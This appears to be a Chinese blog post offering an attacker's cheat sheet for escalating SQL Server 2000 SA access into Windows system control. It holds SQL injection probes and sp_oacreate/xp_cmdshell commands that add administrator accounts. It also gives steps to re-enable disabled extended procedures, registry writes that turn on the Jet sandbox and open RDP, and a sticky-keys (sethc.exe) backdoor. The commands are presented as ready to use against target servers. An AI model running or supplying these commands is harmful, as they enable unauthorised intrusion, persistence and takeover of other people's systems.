sql 2000 数据库SA提权方法



declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod 
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user wbj wbj /add'


declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net user 123 123 /add'


declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net localgroup administrators 123 /add'



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
常用的一些命令: 我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢! //看看是什么权限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库的权限 and 1= (Select HAS_DBACCESS('master')) And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- 数字类型 and char(124)%2Buser%2Bchar(124)=0 字符类型 ' and char(124)%2Buser%2Bchar(124)=0 and ''=' 搜索类型 ' and char(124)%2Buser%2Bchar(124)=0 and '%'=' 爆用户名 and user>0 ' and user>0 and ''=' 检测是否为SA权限 and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- 检测是不是MSSQL数据库 and exists (select * from sysobjects);-- 检测是否支持多行 ;declare @d int;-- 恢复 xp_cmdshell ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') //----------------------- // 执行命令 //----------------------- 首先开启沙盘模式: exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 然后利用jet.oledb执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 执行命令 ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111' 判断xp_cmdshell扩展存储过程是否存在: http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') 写注册表 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 REG_SZ 读注册表 exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit' 读取目录内容 exec master..xp_dirtree 'c:\winnt\system32\',1,1 数据库备份 backup database pubs to disk = 'c:\123.bak' //爆出长度 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;-- 更改sa口令方法:用sql综合利用工具连接后,执行命令: exec sp_password NULL,'新密码','sa' 添加和删除一个SA权限的用户test: exec master.dbo.sp_addlogin test,ptlove exec master.dbo.sp_addsrvrolemember test,sysadmin
1、 未能找到存储过程'master..xpcmdshell' 这种情况我看到网上的方法是: 第一步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第二步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 2、 原因: 126(找不到指定的模块。)。 修复方法: 第一步: dbcc dropextendedproc ("xp_cmdshell") 第二步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第三步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 直接恢复,不管sp_addextendedproc是不是存在 3、 Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 修复方法:分离器上执行 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 4、 net提权出现 拒绝访问 可以尝试一下net1 user 用户 密码 /add 如果net1也是拒绝访问可以copy一个shfit后门试试执行cmd命令:copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 如果提示 复制1文件 哪么证明成功了。连接终端然后按5下shift看看蹦出来了什么。玩咔咔 资源管理器,现在只要手工加个用户就好了。 5、 建号 net user chenyu chenyu$ /add net localgroup administrators chenyu /add C:\WINDOWS\system32\dllcache\net1.exe user chenyu chenyu$ /add C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators chenyu /add 5、 开3389 execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

地方门户网站系统

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值